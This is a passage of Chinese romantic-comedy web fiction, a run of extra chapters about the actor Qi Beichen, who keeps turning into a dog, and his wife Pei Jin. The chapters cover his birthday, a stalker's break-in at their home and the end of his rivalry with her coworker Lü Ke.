硕大的体型盘踞在小小的凳子上,看着裴矜丢过来的平板电脑,齐北宸低垂着狗头,像一个等待宣判的嫌疑狗。 完蛋了,老婆不止知道了,还让他交代经过。他自认已经够小心的了,怎么还是被抓到了呢? 齐北宸百思不得其解,在裴矜充满压力的眼神下,呜咽着招供。 老婆,你听我解释,我真不是故意忽悠你的。 招供只招到一半,他那不争气的狗骨头又开始疼了,连小凳子都站不住。 不行,再这样下去估计要扛不住了。 不顾裴矜的反应,齐北宸心里拼命道歉,顶着一身金毛的壳就往自己房间里冲。 出乎他意料的是,看上去比他矮小的裴矜手劲一点不小,他用尽吃奶的力气才把裴矜挤出门外,但同时该看的不该看的全被裴矜给看到了。 他醒过来面对的会是地狱吧。 晕过去前的最后一刻,齐北宸绝望地想。 过了片刻后,齐北宸苏醒了过来。 他拿出之前在房间里备好的一次性清洁用品把自己弄干净,迈着螃蟹步小心翼翼地试图蒙混过关。 试探的脚丫子才伸出两步就被紧急叫停。 看着裴矜冷着脸在拿他的狗毛摆弄、做手工艺品,齐北宸想给她跪下的心都有了。 他不舒服,老婆第一反应是带他去看病,可他知道那不是得病了那么简单,粗暴地把人拒之门外。 裴矜会生气很正常,自认有错在先的齐北宸乖乖贴在墙角边,等着领罚。 裴主任很生气,后果很严重。 从小到大没被亲妈打过一次,亲爹想打他,他不是溜了就是仗着体型优势把亲爹摁座位上,齐大少爷体验了第一次屁股开花的滋味。 裴矜力气不大,但这打得家庭地位感十足,齐北宸顿悟宁得罪小人不得罪女人的精髓在哪儿,但是为时已晚,裴主任追着他在客厅绕了几个圈。 老婆大人身体还没好透,这气撒也撒了,着凉可不行。 没等齐北宸摇着狗尾巴讨好老婆,他命中的另一个克星拍马杀到。 佘瑰,国际知名影后,齐北宸一生中唯一能背称为“鬼”的存在。 小时候齐北宸调皮,亲爹打不到他,亲妈从不打他,全让佘表姐一个人给教育完了。 不好好读书和隔壁班的男生打架?佘瑰把两人全给抽了,再提溜着他们去家长面前认错认罚。 天天想着玩和摆烂不愿意发奋?佘瑰直接让齐父停了齐北宸的黑卡,阔少秒变路边乞儿。 人美心狠,不讲大道理,却一直在把自己往正确的道路上引导,齐北宸对表姐又敬又怕。 事件的起因是他的狗爪表情包在佘瑰处碰壁,他变成了狗子被裴矜一连审了那么久,把姐姐放在一边没搭理。 才一接起电话,一连串优美的法兰西问候语和骂街混杂着冲击齐北宸的耳膜。 “姐,真不是这个意思,您大人不记小人过,原谅我这一 次吧。” 电话里认错不算完,哄完老婆又要哄表姐,小齐狗都快累成小废狗了。 男人就是难,不难怎么能被叫成男明星。 齐北宸显然没想到,他百思不得其解的问题在卢烨那儿和解一道小学数字题一样容易。 人变成狗不是玄幻剧,而是推理剧。 佘瑰抱着二哈形态的卢烨杀来科普时,裴矜的三观被重塑了,齐北宸整个人都不好了。 他知道卢烨聪明,那个比他还小几个月的男人平时话不多,沉稳得像个饱经世事的小老头,同时也是他最好的有戏搭子之一。 全方位被卢烨吊打,唯一只能在游戏领域占点便宜的齐北宸趁机想捏捏小姐夫的幼崽爪。 然后他就明白了,为什么他姐夫能成为他姐夫。 重塑世界观之旅第一站往下开到了梅由谨那边时,齐北宸失去了许久的记忆才被唤回。 敢情那杯巨难喝的水才是万恶之源?早知道是这样,他当时就不该那么忍辱负重了! 事情发展到这个地步,齐北宸挂着“重病患者”的旗号,乖乖当起了吃软饭的小娇夫。 变狗情况不可控,他给经纪人发了个消息说他最近身体不适。经纪人老哥也早习惯了他想一出是一出的做法,把他骂了一通就去调整安排了。 一个人在家很寂寞,好在中间还能有机会陪老婆回娘家。 岳母喜欢自己,每次都会给他准备一大堆好吃的。岳父是个比裴矜还要资深的老古板和闷骚,齐北宸得知消息的那一刻就针对性地开始策划讨好岳父。 嘴巴要甜,在娘家要给老婆充分的面子和自由度。前半场齐北宸给自己打了个高分,后半场他只能在矮几底下的袋子里趴着生闷气。 什么嘛,裴矜别再捏我的小狗腿了,我都变成哈士奇幼崽了,你还要我乖。你知不知道你的乖狗快窒息而亡了! 四只小狗爪在袋子里翻江倒海好一阵,裴矜最终没能控制住齐北宸的求生欲,一只湿漉漉的哈士奇幼崽,蹭的一下站在茶几上耀武扬威。 得亏变成了一只小萌物,不然齐北宸都不知道自己要怎么收场。 回家的路上,齐北宸被裴矜摁在副驾驶座上当吉祥物。齐闸蟹认真回忆了一下他在袋子里听到的话。 也许他不是一厢情愿,他的可爱老婆也不光是冲着自己的颜值来的? 齐北宸脑补了一番,越想越美。 毕竟接下来就是他的生日了,如果他没猜错,裴矜这个全身上下除了嘴最硬,其余都软乎乎的小闷骚没准在偷偷准备自己的生日礼物了? 啊呀,要真是这样他可得抓紧时间变回来,他可不想在生日零点还维持着小狗幼崽模样,连条庆生微博都发不了。 一只狗子汪汪叫,两只狗子蹦蹦跳。 齐北宸做着白日梦的第二天,他的特级狗头军师卢烨出现了。 一样顶着萌物皮的卢烨要比齐北宸冷静得多,当头一泼冷水对着齐北宸浇了下去。 “宸宸,不是我要打击你。你觉得你和你老婆是同一类生物吗?” 齐北宸疯狂上翘的嘴角瞬间定格,小尾巴狂摇:“那怎么办啊,小姐夫?不然我旁敲侧击给她去提个醒?” 60. 齐北宸番外④ 卢烨摇了摇狗头:“宸宸,听我一句话,不是你的别强求,你就老老实实等着……” “我才不要坐以待毙,那不符合我的性格。”齐北宸挺了挺小狗毛,一脸自信,“她早上才喂我喝过酸奶,还给我擦嘴,就是面子上抹不开罢了。我给老婆暖暖场,我相信她心里肯定有我。” 卢烨一下捕捉到了关键点:“宸宸,小裴那边有情况?” “哼,一颗小小的绿茶苗而已,不足为惧。” 卢烨化为一声叹息:“你要是非这么做,我拦不住你。别怪我说话难听,回头你要是哭鼻子,你姐可不会同情你。” 那又咋了,他相信老婆大人和他情比金坚,才不是什么吕之类的可以插一脚的。 打脸就像龙卷风,来得很快还完全不讲道理。 齐北宸开蓝牙音箱被裴矜训了一通,知情不报的卢烨连坐,两条小狗的午饭全部归零。 齐北宸心塞得不行,绕着卢烨狂蹦:“我不信我不信!明天就是我的生日了,怎么她还罚我不准吃饭?!” “别跳了宸宸,你这小狗毛都甩地上了。”卢烨无奈地叹了口气,“我早和你说了,你不信。既然尼咽不下这口气,不然我去告诉小裴?” 告诉别人明天是自己生日,这和送上门去讨要有什么区别? “不行,不许告诉她。你要是告诉她,我就和你绝交。” “你啊,这点和瑰姐一样,死倔。” 倔就倔了,他反正已经不指望裴矜给他弄大惊喜了,到了生日当天和他说一声生日快乐,一起过个生日总不过分吧? “咕噜噜~” 齐北宸还没想多久,他和卢烨的肚子同时唱起了空城计。 面子工程可以暂时搁置,肚子问题刻不容缓。 齐北宸负责监视王妈的动态,卢烨出去巡逻一圈,锁定了他们目标物:小面包。 一只小狗崽去拿似乎不太可行,两只幼崽模拟了一下桌子的高度,几番测试后制定好了计划,只等王妈去吃饭或者不在厨房的空档去拿。 齐北宸大只,又反应快,负责打地基。卢烨小一点,思维敏捷,负责操作。两只小狗一如既往用黑布避开了摄像头,但没想到这次天公不作美,一阵风把他们的罪行给暴.露了个彻底。 小面包吃了个饱,齐北宸完全没考虑到肠胃问题。 他一只小小的幼崽,还在生长发育阶段,饿了要吃,不是很正常的事情吗?这也能罚他? 但在听到裴矜的话里话外音,齐北宸还是低下了倔强的小狗头。 好吧,他确实没考虑那么多,还把小姐夫一起拖下水了。 别看姐姐和姐夫感情好,佘瑰那脾气一般不发作,发作起来谁说话都不顶用。 齐北宸边跳舞边对卢烨表示歉意,卢烨没多说,一副“大哥能罩你就罩你”的气势,把齐北宸感动得稀里哗啦。 没办法,老婆和自己冷战,还要自己跳减肥操,只能在亲戚朋友那边寻求安慰了。 和裴矜的冷战持续得比齐北宸预估还要久。 一向要亲手给他洗小狗毛的裴矜罢工了,给他甩了个全智能宠物浴缸。 宠物浴缸那种东西是金贵,但怎么比得上老婆大人细心呵护? 齐北宸撒娇卖萌,裴矜不搭理。 看着角落里表姐赏赐的金饭碗,在骨气和生存面前,齐北宸果断选择了后者。 不洗就不洗吧,枕边陪伴服务他可是不能放弃的。 预料到裴矜不会主动,齐北宸主动把自己的大床让给了卢烨,自己叼着小床铺去裴矜身边报道。 福利不但争取到了,还有意外之喜。 他之前就看到裴矜在小梅那边薅了一件小斗篷,那大小一看就不是给人穿的,肯定是留着给自己的,毕竟家里的小狗就那么两只,卢烨有主了,不是给他的还能是给谁的? 一脑补到裴矜是搞欲扬先抑,之前自己还不小心提前翻出了这份特殊的生辰贺礼,趴在床上的小齐狗又觉得自己可以了。 现实并没有放过齐北宸,老实人裴矜一五一十把事情那么摊开一说,齐北宸顿感狗生无趣。 守夜仪式他也不高兴整了,他现在是没用的小废狗一只,爪子又不是人手,想发条生日微博都费劲,总不能把表情包发上微博凑数吧?这点脸他还是要的。 小被子一裹,狗屁股一撅,齐北宸的闷气一路生到了送裴矜上班前。 小姐夫都提醒到这个地步了,裴矜你居然还不记得。 哎。 齐北宸垮着张小狗脸趴在狗窝里。 平板上是他来自五湖四海的朋友们送来的祝福。 远在大洋彼岸的齐父齐母给他发了一段视频祝福,生日礼物会晚几天送到家。就连才认识不久的方铭都问齐北宸有没有兴趣出来搞个生日派对,他做东。 回想以往单身狗时期,每年生日齐北宸都要隆重举办。一年就一次的重要日子,他肯定要好好显摆一下。 但今年他不想这样做了,他只盼着裴矜能记起,家里还有条她的小狗,还是哄一哄就好的那种小土狗。 太阳渐渐落山,齐北宸和卢烨先后变了回来。 佘瑰马不停蹄地从飞机上下来,还带着新鲜的特大号定制蛋糕来接卢烨。 “宸宸,祝你生日快乐。” “谢谢姐。” 算了,哪怕没有裴矜的生日祝福,他还是被很多人记着,这样就够了。 佘瑰见他话少,问了卢烨几句才知道真相。佘瑰难得没有发火,卢烨甚至都坐了下来。 “宸宸,今天是你三十岁的生日,你要是不介意,我和你姐反正也没什么事,留下来陪你一起过呗。” “不用,小姐夫。”齐北宸摆摆手,强装镇定,“不就是过生日嘛,哪天不是过。你也累了好久了,姐来接你回家,你就早点回家休息吧。” 佘瑰摇摇头,示意卢烨不要多说,自己和齐北宸提了一句:“宸宸,你要是有事可以随时和姐姐说。记得要照顾好自己,还有……” “什么?” “船到桥头自然直,你要对小裴多一点信心。” 他还能有信心吗?齐北宸有点迷茫,但他还是决定要等裴矜。 哪怕她不记得,他还是想今天和她一起吃顿饭。 佘瑰和卢烨夫妻被他劝走了,看着空荡荡的房间,齐北宸第一次体会到什么叫做孤独。 打开手机,大长腿蜷缩在沙发上,连灯都没有开,齐北宸漫 无目的地刷着手机。 他的微博一如既往还是有一大堆粉丝在评论区为他庆生,还有人问他最近怎么不太活跃了。 有家室的人当然要稳重一点了,他不是早在微博昭告天下了吗?还问。 漫无目的的刷手机行为被电话打断。 是裴矜。 齐北宸忍不住弯起嘴角,却又很快撇了下去。 没准她就是想和自己一起吃个饭而已呢?不想那么多了,她反正很快就会回来了吧? 大高个换了个位置继续蜷缩着等老婆回家来认领。 裴矜比齐北宸预想的要晚许多才到家,手里还提着大包小包。 难道真像表姐说的,船到桥头自然直,他的好运女神降临了? 几次三番被坑怕了的齐北宸心里犯嘀咕,身体已经不自觉朝裴矜靠拢。 这是裴矜为自己做的第一顿饭,盐撒多了,番茄鸡蛋面变成了盐巴鸡蛋面,齐北宸依旧吃得很欢,他还拍照上传去了微博。 谁说他老婆不在乎的?裴主任是贵人多忘事,不是心里没有他,不然她根本不会在乎自己喜欢什么口味,还跑了那么多家甜品店,只为买他喜欢的巧克力和草莓。 一向对待自己身体饮食摄入严于律己的齐北宸,在他三十岁的那个晚上彻底放纵了一把。 减肥?不管了。他只想把提拉米苏还有番茄鸡蛋面全藏进自己的肚子里。 风卷残云消灭干净,心情和胃袋得到双重满足的齐北宸又把注意力放在了裴矜身上。 不是他厚脸皮,只是当时的月光太朦胧,把老婆大人衬托得像仙女下凡。在一年中最重要的日子里,他向仙女求个小小的生日愿望,也不算过分吧? 要是真过分了,他也支持小仙女给他来一巴掌,把他这个想入非非的登徒子打飞、打醒,不然他迟早得动把月亮摘下,自己一个人私藏的心思。 人美心善的小仙女巴掌没有落在齐北宸的脸上,不仅如此,小齐狗的生日愿望还得到了满足。 不是他强求的,是仙女老婆主动亲的。 齐北宸那一刻笑得像个傻子,让他原地学小狗叫,他都不带犹豫的。 看到没,某些只会在外围打转的茶艺大师,合法夫妻才能干的事,你这辈子是别想了! 裴矜的首肯给了齐北宸动力。 之前的迷茫不再,齐北宸在心中已经下定了决心。 老婆,对不起,我食言了。说好的协议夫妻,互不打扰,过去我做得到,现在我做不到。 只要你允许,我会给你时间,一点点朝你靠近。请不要拒绝我,好吗? 赋闲在家期间,齐北宸比平时更注重内外兼修,力图给裴矜留下个好印象。 同时,他还搭上了方铭这条线。 根据他之前的授意,方铭抛出过试探的鱼饵,裴矜对他的剧不抗拒,这是个好兆头。 眼下他得配合梅由谨积极治疗,裴矜的公司他不能一直去,只能拜托方铭盯着点,剩下的还得靠隐形宣传,走走群众路线。 生日过去了,可生日蛋糕还静静地躺在冰箱里。 齐北宸原本只是不想辜负佘瑰的一番心意,没曾想,这豪华手工蛋糕竟然也引发出了一系列事件来。 61. 齐北宸番外⑤ 裴矜不喜欢太甜的,但更不喜欢浪费。 超大蛋糕连着几天当早饭的代价就是裴矜称体重的时候收获了一个出乎她意外的结果。 但这不在齐北宸的意外考虑范围内。 多年健身达人,一口蛋糕需要多少运动量和饮食控制来补,他清楚得很。 裴矜平时吃得不多,也不算油腻,天天在外打拼,偶尔贪下嘴又怎么了? 齐大少无所谓,裴主任坐不住了。一场还没开始就提前谢幕的减肥运动大戏让齐北宸哭笑不得。 现在的人关注健康身材他理解,但减肥要讲究循序渐进和方法得宜,想一口气吃成个胖子肯定不行。 为了照顾死鸭子嘴硬的裴矜,齐北宸连步伐都放慢了许多。他天天跑都习惯了,裴矜要是上来就和他一样,肯定扛不住。 然而在这样的情况下,裴矜依旧打起了摆子,像条刚刚从海鲜市场里捞出来的鱼一样,咬着牙继续硬扛。 一次两次纵容视而不见是宠老婆,要是看着老婆疯狂作死还不拦着,齐北宸当然做不到。 把老婆带到可以休息的地方坐下,齐北宸活动了一下关节,开始替裴矜舒筋活血。 不上手不知道,一上手吓一跳。这硬邦邦的触感比他肌肉还夸张,真是长在他老婆身上的吗? 都说上班族加班起来不要命,他还以为是夸大其词。今日一见才发现,传言不止是真的,甚至裴主任的胳膊肘比很多人以为的还夸张。 千叮咛万嘱咐,算是把老婆拼命减肥的意愿压制住了。齐师傅开张第一天就接了个硬活,忙里忙外一大圈,还好把客人伺候舒服了。 光服务不收费不是齐北宸的风格,要是当着裴矜的面直接讨,这个傲娇肯定不会答应。 齐北宸大着胆子先斩后奏,不问自取在老婆面上偷了个香,全程手心都紧张到冒汗。 原来老婆身上的木质香一直都在,脸颊肉肉的,没反应过来的时候,一脸迷茫盯着他发呆又乖又可爱。 “老婆,我去给你叫车!” 偷香成功,小齐狗心情美好了一天。 上班时候特意嘱咐老婆要活血,看她那拼命三娘,工作起来不管不顾的模样,十有八.九会忘了要缓解肌肉酸痛吧? 哎呀,真是没办法,他还得去地铁站接一下勤俭节约的老婆。 齐北宸喜滋滋地下楼准备搭电梯,一个穿着黑色卫衣,全副武装的人从他身边擦肩而过。 那么热的天,裹得比自己还严实?这人没事吧。 出于职业习惯一直观察别人的齐北宸,下意识转过头去看了对方一眼,没想到那人一溜烟跑得人影子都没了。 不会是真被什么奇怪的人给盯上了吧? 齐北宸瞥了一眼张阿姨家门口最近屡次出现的小盒子快递,心中的阴云更甚。 生日微博下有些激烈的评论齐北宸不是没看到,他平时也没少被人问候全家,但结合今天的事来看,他总感觉有点微妙。 得提醒老婆多注意点,他一个糙老爷们倒是不怕,裴矜一个年轻女性万一对上壮汉那就太吃亏了。 嗯,还得联系一下小梅给家里监控升个级,估计这事他可爱的老婆也会赞同。 齐北宸在地铁站蹲了半天,看到他那快落地成盒的小仙女裴矜抖如糠筛,又心疼又好笑。 就知道她不会乖乖听他话,中午要是还窝在办公室睡午觉,她起来没跪在地上都是幸运的。 轻松背起老婆大人,齐北宸真觉得裴矜没必要减肥。 她现在这样完全不胖,有点肉看上去更可爱,只要指标不超标就好了嘛。 哎,都怪老婆大人太优秀,周围总有些蛇虫鼠蚁绕着转。 身上是甜蜜的负担,齐北宸边走边回忆不久前,他的首席秘密联络员方铭私下和他通气的聊天内容。 方铭:主任今天上班怎么像只小羊羔一样,腿抖成这样是干嘛去了? 方铭:该不会是你小子…… 齐北宸:去你的,我们俩是纯洁的夫妻关系。 方铭:? 方铭:你没事吧,夫妻关系哪儿有纯洁不纯洁的?都睡一个被窝里了。 齐北宸:你少扯这些没用的,你找我到底有什么事? 方铭:咳,也不是什么特别大的事。就是主任吧,在我们公司内部风评还是不错的。 齐北宸:所以? 方铭:所以看到她这样,有些人就去献宝咯。 齐北宸:那个人是不是他们部门的,姓吕? 方铭:小齐你很懂嘛,总之你知道就好,老哥只能帮你到这了。 呵,吕恪你小子! 齐北宸气得嘴都歪了,但下一秒他就抱着裴矜轻轻颠了一下,让她趴在背上更舒服一点。 他现在可是已经进化到能和老婆大人亲亲的关系了,那姓吕的还停留在和之前没差别太大的进攻区域内。 莫非……真被他预言中了?那个小绿茶打的就是挑拨离间,等着他们夫妻感情出现缝隙,再发动柔情攻势,让裴矜自愿放弃他的计划? 哼,想都不要想。敢献宝就得做好献的宝被人借花献佛的思想准备。 小齐子一天内再次上线,为裴娘娘提供药油服务。 不止如此,张阿姨那里他还卖了个乖,从她老人家手里拿到膏药。 腿肚子酸胀是一方面,小肚子也会跟着一起难受,他可不像某些道行还浅的小绿茶,只知道呵护看得到的疼痛。 平时东拉西扯累积下来的经验全派上了用场,裴矜的脸色好看了不少,家附近潜在的不速之客也得躲防范。 内心一百万个不想和裴矜分开,齐北宸还是咬牙选择自己一个人蹲守沙发。 老婆现在身体情况欠佳,正是需要他的时候。事分轻重缓急,他要先守护他们的小家,等情况稳定下来了再谈别的。 小家还没守护好,方特派员的消息又杀来了。 方铭:我突然想起来,我有没有和你说过你生日那天,吕恪父亲在公司楼下和吕恪起了冲突,最后被你老婆巧妙请领导化解了? 哈?他当然不知道。 一看到吕恪两个字,齐北宸耳朵都竖起来了。 齐北宸:哥,求你说具体点。 方铭把事情经过从头到尾讲了一遍,齐北宸哼唧声更大了。 他知道吕恪应该不至于为了裴矜拿原生家庭做文章,但是,那天可是他生日! 难怪老婆回来晚那么多,感情里面还有他这一档子事。 齐北宸的手指在手机屏幕上转了个圈,一条震撼方铭的消息突然杀到。 齐北宸:哥,你有吕恪的 联系方式吗? 方铭:??? 方铭:兄弟,你听我一句话,冲动是魔鬼。 方铭:哥是过来人,哥被绿那些年也很想把那对狗男女打一顿,但是这样不解决问题啊! 齐北宸:谁说我要打他了?你咋还有被绿史?真没看出来。 方铭:都是过去的事了,不提也罢。 方铭:那我搞不明白了,你要对方联系方式干什么? 齐北宸:立威。 方铭:啊? 齐北宸:我得告诉他,有些是想都不用想,这是男人之间的战争,老哥你别告诉我老婆,我回头请你吃饭。 方铭被齐北宸磨到没脾气,最后还是把吕恪的联系方式发了过去。 齐北宸对着那罐已经用了一半的药油拍了张照片,加上吕恪联系方式后发过去,还附赠了一句话。 齐北宸:东西挺不错的,哪儿买的? 对面过了许久才回复。 吕恪:自己做的,外面买不到。 吕恪:没想到齐先生还有研究这种俗物的雅兴?改天赐教。 齐北宸:好啊,我等着。 明枪易躲,暗箭难防。事情放到台面上,一切就好说了。 暂时安定了一个威胁,还有另一个让齐北宸心神不宁的定时炸.弹随时都有引爆的危险。 偏偏在这个时候,他又变成了一只狗子。 唯一能让他有点安全感的是,他这次变成了只具有战斗力的大型犬,要是真有不长眼的人想来他家搞事,那就别管他狗嘴不留情了。 裴矜上班前,夫妻俩已做好沟通。梅由谨的监控设备都拓展到了门口,他只要守好房门内部即可。 一个上午都过得很太平。 中午时分,齐北宸吃完狗粮感觉有点困了,就拽着小床铺放在自己卧室门口。狗头冲着大门方向,合上眼假寐。 一震窸窸窣窣的声音传来。 齐北宸睁开眼睛一看,一个身形魁梧,一身黑衣连口罩都捂得严严实实的彪形大汉悄无声息地进入他的家中,目标直指他和裴矜的结婚照。 在那一刻,齐北宸把一切答应过裴矜的话全部抛之脑后。 是爷们就要去战斗! 齐北宸一口咬住了入侵者的胳膊,站起来对着对方又抓又挠。 “该死的,没发现这家居然还养了一只疯狗!” 说谁疯狗呢,你才是疯狗! 狗毛掉了一地,身上被对方拿着的小刀划伤无数,齐北宸依旧死死地抵抗着,扑向对方,把他往卫生间里拱。 这里是高层,想跳楼逃生是不可能的。 卫生间的出入口只有一个,警报刚刚也已经触发,只要他坚持住,裴矜一定会发现异常的! 背负着一身伤,当张阿姨带着保安等人进来的时候,齐北宸悬着的心才算放下。 凶神恶煞的闯入者被压制住,过了不久,裴矜也来了。 伤痕累累的齐北宸在那一刻,从裴矜眼里看到了担忧和恐惧,他呜咽了一声,扑进了老婆的怀抱里。 对不起老婆,我没做到答应你的事,但是我不后悔,因为我得守护住我们的家。 小夫妻的两人世界终结得很快,原因无他,开车陪裴矜回来的不是别人,正是齐北宸最不想见到的吕恪。 62. 齐北宸番外⑥ 齐北宸现在是只受伤的大型犬,梅由谨有点抱不动他。 当梅由谨提出要人托他一把的时候,站出来的居然是吕恪,齐北宸气得只想再咬他几口。 他算哪块小饼干,也敢碰自己?想得美! 好在最后还是老婆大人出手才避免了尴尬。 路上梅由谨开车问他:“你怎么把自己搞成这样的?颜值都没了。” 齐北宸哼了声:“这是男人的勋章,你不懂。” 趴在小梅屋宠物店,梅由谨从头到尾给齐北宸来了波检查。 奸商就是奸商,不会放过任何赚钱的机会。 折腾了半天,毛被剃了,伤口包扎好了,总该让他喘口气休息了吧? 梅大爷还端出来一个大吊瓶,给他来了一针。 怕打针的齐北宸嗷的一下叫出声来。 梅由谨边摇头边偷笑:“没看出来,齐哥你还怕这个啊,学会了。下次和你打游戏,我会记得的。” 记得他个鬼,嘶,疼死了。 要不是裴矜后面给他做心理工作,他都不想吊针,只想窝在老婆身边当条美丽无用的小废狗。 他在宠物店里和对笼子里的兔子大眼瞪小眼,兔子挂耳朵,他挂爪子,一时间也不知道哪个的命更苦。 意想不到的事接踵而至。 先是他半路上又变了回去,而后又得知,答应□□的卢烨临时变成了他刚回国的爹妈。 他母上大人还好说,糟老头子坏得很,谁知道会不会在裴矜面前编排他什么? 被梅由谨才塞回医院办好手续,父子俩在病房门口狭路相逢。 齐父开口就叹气:“平时不是挺行的吗?怎么把自己弄成这个德行?” 齐北宸眉毛一挑:“拍戏拍得呗。你不是老说我没有感情都是技巧,锻炼技巧的代价就是这样咯。” 父子俩人夹枪带棍的对话终结于裴矜带着他的神队友方铭杀到。 他之前就和母亲提过,他最近交了个不错的老大哥朋友,没想到他还没有机会把方铭约出来,裴矜倒是误打误撞把人带到喂到齐母嘴边。 齐北宸认定这是个好兆头。 接下来的几天,他在病房养病,双休日裴矜总会报道,还会照顾手脚不便的他,亲手给他喂饭。 不止如此,当裴矜忍不住每次偷瞄他出演的《失忆总裁契约妻第二季》,又装作没在看薄总时的小表情都特别可爱。 口嫌体正直,手上还拨弄着他变成狗狗时期掉下来的小狗毛,可爱死了。 齐北宸越看老婆心里越欢喜,独占欲也在偷偷作祟。 裴矜送给他的正装薄总Q版钥匙圈搭配小狗毛挂件,他很喜欢,一直没舍得用,放在书桌上每天欣赏。要是私服款薄总钥匙圈和小狗球挂件他也能拿到,那得多完美? 齐北宸的小九九噼里啪啦打得作响,一边还趁着养病期进一步想引起裴矜的注意。 嗯,他绝对不是故意的,他是手脚不便要擦背,所以才不得不把老婆大人喊过来帮忙的。 齐北宸在这一刻非常感激过去的自己有在努力健身,全方位优待自己的外表,不然要是他顶着个邋遢难看的壳子,还真不知道怎么能和老婆亲亲。 主动性是有了,临门一脚时,齐北宸又有点怂。 好像一直都是他在进攻,难道是裴矜被自己压制得太死,反抗无能才不反抗的吗? “咳,抱歉老婆,是我失态了。” 小齐狗的道歉一出口,换来的是裴矜的怒目而视。两个笨拙的人绕了一个大圈子才交换了第一个值得纪念的吻。 青涩,又有点甜蜜。 养病期间天天要和老婆亲亲,不亲不习惯的齐北宸觉得自己是世界上最幸福的男人,然而私生饭的事情还需要处理,经纪人和公司都帮到这个地步了,剩下得靠他自己。 裴矜表现得很配合,越来越像他真正意义上的太太了。俩人明明计划好了一切,临门一脚,齐北宸又变成了一只柯基小狗。 伤没好透,还得临时找个替身。 关键时刻,佘瑰来了。不止她来了,已经痊愈的卢烨也来了,把齐北宸看得又羡慕又嫉妒。 他也想好好的站在老婆身边,可他现在是一只上沙发都费力的小短腿,脚还有伤没好透,除了当条小乖狗也没别的办法了。 表姐和自己曾一起学习表演很长一段时间,姐弟俩默契都在。以前读书时,俩人也曾这样逗着家长玩过几次,直播进行得很顺利。 最重要的是,他听到了裴矜的真心话。 老婆,虽然我现在只能以一只小狗的外形陪伴你,但请你相信,在不久的将来,我会治好病,和小姐夫一样,名正言顺地站在你身边。 我们将不会再分开,直到永远。齐北宸在心中暗暗发誓,连配合梅由谨的治疗都更积极了,连带梅由谨的调侃他都不放在心上。 没有什么能比确认彼此的心意来得更加重要。 外患一号已经解决,接下来是外患二号。 变成小短腿柯基的齐北宸主动贡献出他的面包臀和可爱外形,死乞白赖就是缠着裴矜,要她带着他再去他们公司上班。 王妈只是借口,他的真实目的是吕恪。齐北宸不在乎裴矜有没有看出这一点,但从方铭断断续续透露出的情报来看,光看不解决问题。 他可不是那个只会被动等着裴矜一步步靠近自己的吕恪,喜欢就要主动出击,哪怕被拒绝也不想留下任何遗憾。 还好早有准备,买的航空包派上用场了,嘻嘻。 齐北宸如愿跟着裴矜去上班,在她忙工作的时候流窜于各个办公室角落听八卦。 哦,原来那个小绿茶家里都是一群寄生虫,指望从他身上捞一笔。 嗯?怎么还能讨不到便宜就上门堵人的?畜生吧,这是。 齐北宸对吕恪的原生家庭颇为不耻,也渐渐理解了吕恪为什么是这样的性格。 吕恪确实拿自己当竞争对手,但他从来没有当着裴矜的面诋毁齐北宸一句,而是一直用仰视的姿态看着裴矜距离自己越来越远。 一个对自己道德要求太高,但心里藏着阴暗想法想要实现,割裂又可悲的男人。 齐北宸沉默了几秒钟算是给过同情,没想到中午他就见证了裴矜拒绝吕恪的年度大戏。 他承认自己顶着个狗壳子,趴在桌上光明正大听人家说话是有点作弊,但是小吕先生,这次出击的不是他本人,是吕恪心心念念的裴主任。 齐北宸听得身心舒畅,吃绿豆沙都爽快了不少。 老婆大人都出招了,那他不妨收个尾算了。 变回来的当天,齐北宸过得异常忙碌。 他没想到唐蜜这个超级粉丝居然才知道他是真品,一直拿他当年下高仿。 被认为是年轻人,齐北宸心里是开心的,但持续时间过长就是另一回事了。 答应了要还唐蜜和方铭的那顿饭,齐北宸整理了一下衣服,来到吕恪的工位旁,轻轻敲了下。 “好久不见,小吕先生。有空和我聊一聊吗?” 吕恪看到齐北宸的时候有点意外,点点头答应了。 两人来到了公司对面楼下的咖啡厅,选了个靠角落的僻静位置。 齐北宸拿着冰美式吸了一口:“上次的药油效果还不错,我老婆让我谢谢你。” “能帮上主任是我的荣幸,这是配方。”吕恪快速在手机上敲了几行字,递给齐北宸看,“另外我有一件事希望齐先生替我保密。” 齐北宸大概已经猜到了,点点头:“我答应你,你是准备要离开这里了吧?” 吕恪温和的表情变得玩味:“齐先生,如果换一种方式相遇,我很难说会把你当成知己还是当成敌人。你猜的不错,我打算换个城市生活,家里那些烂摊子本就不该我管,我已经做好了安排。” “你家的事我略有耳闻,不过我想以你的能力,应该不会被绊住。”齐北宸耸耸肩,“现在留在这里的唯一念想没了,你应该能活得更潇洒。” “不是没了,是放下了。说起来,我还得谢谢你。” “哦?为什么?” “因为我和你要是调换一下位置,我绝对做不到你这样。” 齐北宸喝咖啡的手一顿,坦然道:“我要是和你互换,我也绝对不会做到帮对方说好话的地步。有时候我还挺佩服你的。” 吕恪看着窗外,微微叹息:“也不算是全帮你,我只是不希望她在有选择的时候被蒙在鼓里。欺骗人是一件很难受的累活,我也想适当给自己解个压。” 这个男人,他还真觉得他挺有魅力的。 齐北宸心中腹诽,又问:“你一个刚毕业不久的研究生,哪儿来的钱买车和换城市计划,难道……” “对,我早就策划好了一切。唯一算不准的是我该是以几人的形式离开。”吕恪收回眼神,转而看向齐北宸,“我和你不同,我想要什么都得费更多的力气。” “钱我在国外的时候就开始存了,回国又炒股攒了一些。说不上非常富裕,但足够我开启一段新的生活了。” “那我就祝你好运了。” 两人在咖啡厅告别前,吕恪又抬头望了眼天空:“这个地方不错,但我这辈子大概不会再回来了。祝你和主任幸福,再见了齐先生。” 吕恪悄无声息地就这样离开了这座城市,齐北宸知道那是他新生的开始。 茶苗换个适应的土壤才能茁壮成长,他的话肯定没问题。 外界的纷纷扰扰均已退场,齐北宸也越发感觉自己距离裴矜近了一大步。 她不抗拒自己的亲吻,嘴上训他,却没舍得真凶他,这样的妻子让齐北宸更加心动。 很快,裴矜的生日到了。 63. 齐北宸番外⑦ 齐北宸一向看重节日,生日更是重中之重。 裴矜的不敏感他上次已经领教过了,齐北宸觉得问题不大。哪怕裴矜忘记了,他都要精心准备一番,不求裴矜感动,只求她记得三十岁生日,站在她身边的是她的合法老公。 佘瑰上次给齐北宸带来的生日蛋糕启发了他,裴矜不喜欢太甜,他打算自己动手,丰衣足食,做个定制款香草柠檬蛋糕。 早早下载了一堆视频学习了半天,齐北宸承认,这个小东西比他以为的更要折腾人。 配比难以拿捏,自己的手虽然恢复了,但精准度还没完全复原。齐北宸觉得这样闭门造车不可行,他带着伴手礼,偷偷摸摸地往对面的张阿姨家里凑。 